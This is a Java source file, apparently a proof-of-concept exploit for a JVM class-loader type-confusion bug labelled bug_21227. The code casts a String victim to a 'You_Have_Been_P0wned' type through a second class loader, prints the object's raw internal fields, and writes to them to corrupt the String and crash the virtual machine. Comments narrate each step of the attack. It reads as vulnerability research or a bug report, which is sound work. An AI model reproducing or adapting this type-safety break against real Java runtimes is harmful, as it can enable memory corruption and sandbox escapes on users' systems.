| |
| import java.lang.reflect.*; |
| import java.security.*; |
| |
| abstract public class bug_21227 { |
| |
| // Jam anything you want in here, it will be cast to a You_Have_Been_P0wned |
| public static Object _p0wnee; |
| |
| public static void main(String argv[]) throws ClassNotFoundException, InstantiationException, IllegalAccessException { |
| System.out.println("Warmup"); |
| |
| // Make a Class 'many_loader' under the default loader |
| bug_21227 bug = new many_loader(); |
| |
| // Some classes under a new Loader, LOADER2, including another version of 'many_loader' |
| ClassLoader LOADER2 = new Loader2(); |
| Class clazz2 = LOADER2.loadClass("from_loader2"); |
| IFace iface = (IFace)clazz2.newInstance(); |
| |
| // Set the victim, a String of length 6 |
| String s = "victim"; |
| _p0wnee = s; |
| |
| // Go cast '_p0wnee' to type You_Have_Been_P0wned |
| many_loader[] x2 = bug.make(iface); |
| |
| many_loader b = x2[0]; |
| |
| // Make it clear that the runtime type many_loader (what we get from the |
| // array X2) varies from the static type of many_loader. |
| Class cl1 = b.getClass(); |
| ClassLoader ld1 = cl1.getClassLoader(); |
| Class cl2 = many_loader.class; |
| ClassLoader ld2 = cl2.getClassLoader(); |
| System.out.println("bug.make() "+ld1+":"+cl1); |
| System.out.println("many_loader "+ld2+":"+cl2); |
| |
| // Read the victims guts out |
| You_Have_Been_P0wned q = b._p0wnee; |
| System.out.println("q._a = 0x"+Integer.toHexString(q._a)); |
| System.out.println("q._b = 0x"+Integer.toHexString(q._b)); |
| System.out.println("q._c = 0x"+Integer.toHexString(q._c)); |
| System.out.println("q._d = 0x"+Integer.toHexString(q._d)); |
| |
| System.out.println("I will now crash the VM:"); |
| // On 32-bit HotSpot Java6 this sets the victim String length shorter, then crashes the VM |
| //q._c = 3; |
| q._a = -1; |
| |
| System.out.println(s); |
| |
| } |
| |
| // I need to compile (hence call in a loop) a function which returns a value |
| // loaded from classloader other than the system one. The point of this |
| // call is to give me an abstract 'hook' into a function loaded with a |
| // foreign loader. |
| public abstract many_loader[] make( IFace iface ); // abstract factory |
| } |
| |